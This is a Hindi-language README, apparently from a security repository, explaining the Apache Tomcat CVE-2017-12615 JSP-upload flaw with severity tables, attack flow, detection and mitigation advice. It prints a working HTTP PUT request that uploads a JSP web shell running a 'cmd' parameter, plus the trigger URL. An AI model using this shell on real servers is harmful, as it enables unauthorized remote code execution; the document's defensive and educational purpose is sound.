
CVE-2017-12615 - Apache Tomcat रिमोट कोड निष्पादन (RCE)
CVE-2017-12615 एक दूरस्थ कोड निष्पादन (RCE) भेद्यता है जो Apache Tomcat 7.0.0 से 7.0.79 को प्रभावित करती है जो Microsoft Windows पर चल रहा है जब HTTP PUT अनुरोध सक्षम होते हैं।
यह भेद्यता इसलिए मौजूद है क्योंकि Tomcat अपलोड की गई JSP फ़ाइलों को गलत तरीके से संभालता है जब DefaultServlet को readonly पैरामीटर के साथ false पर सेट किया जाता है। इन परिस्थितियों में, एक अप्रमाणित हमलावर एक दुर्भावनापूर्ण JSP फ़ाइल को सीधे वेब सर्वर पर अपलोड कर सकता है और केवल अपलोड की गई फ़ाइल का अनुरोध करके मनमाना Java कोड निष्पादित कर सकता है।
यह भेद्यता सबसे प्रसिद्ध Tomcat RCE समस्याओं में से एक बन गई क्योंकि गलत कॉन्फ़िगर किए गए सर्वरों के खिलाफ इसे हथियार बनाना कितना आसान था।
readonly="false" कॉन्फ़िगर किया गया| मीट्रिक | मान |
|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (उच्च) |
| आक्रमण वेक्टर | नेटवर्क |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| प्रभाव | दूरस्थ कोड निष्पादन |
सामान्यतः, Apache Tomcat उपयोगकर्ताओं को निष्पादन योग्य JSP फ़ाइलें अपलोड करने से रोकता है।
हालाँकि, जब:
readonly=false)एक हमलावर वेब रूट में सीधे एक JSP फ़ाइल अपलोड कर सकता है।
एक बार अपलोड होने के बाद, उस JSP का अनुरोध करने से Tomcat इसे संकलित और निष्पादित करता है, जिससे Tomcat सेवा के विशेषाधिकारों के तहत मनमाना Java कोड निष्पादन संभव हो जाता है।
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
एक सामान्य हमला इन चरणों का अनुसरण करता है:
.jsp वेब शेल अपलोड करें।यदि सर्वर कमजोर है तो कोई प्रमाणीकरण आवश्यक नहीं है।
उदाहरण HTTP PUT अनुरोध:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
यदि सफल होता है, तो सर्वर इस प्रकार प्रतिक्रिया देता है:
HTTP/1.1 201 Created
पेलोड को तब विज़िट करके निष्पादित किया जा सकता है:
http://victim.com/shell.jsp?cmd=whoami
कमजोर सिस्टम की पहचान करने का एक सरल तरीका है एक हानिरहित परीक्षण JSP अपलोड करने का प्रयास करना:
PUT /test.jsp
संभावित प्रतिक्रियाएँ शामिल हैं:
201 Created
या
204 No Content
यदि अपलोड की गई फ़ाइल बाद में HTTP पर प्राप्त की जा सकती है, तो सर्वर संभवतः कमजोर है।
सफल शोषण एक हमलावर को निम्नलिखित की अनुमति देता है:
सुरक्षा टीमों को निम्नलिखित की जाँच करनी चाहिए:
.jsp फ़ाइलेंअनुशंसित निवारण उपायों में शामिल हैं:
readonly="true" का उपयोग करता है।| गुण | मान |
|---|---|
| भेद्यता | मनमाना JSP अपलोड |
| CWE | CWE-434 - खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड |
| प्रमाणीकरण आवश्यक | नहीं |
| शोषण जटिलता | कमजोर कॉन्फ़िगरेशन पर कम |
| परिणाम | दूरस्थ कोड निष्पादन |
| प्लेटफ़ॉर्म | विंडोज़ |
| सेवा | Apache Tomcat |
यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों, रक्षात्मक सुरक्षा अनुसंधान और अधिकृत पेनिट्रेशन परीक्षण के लिए है। इस जानकारी का उपयोग स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न करें।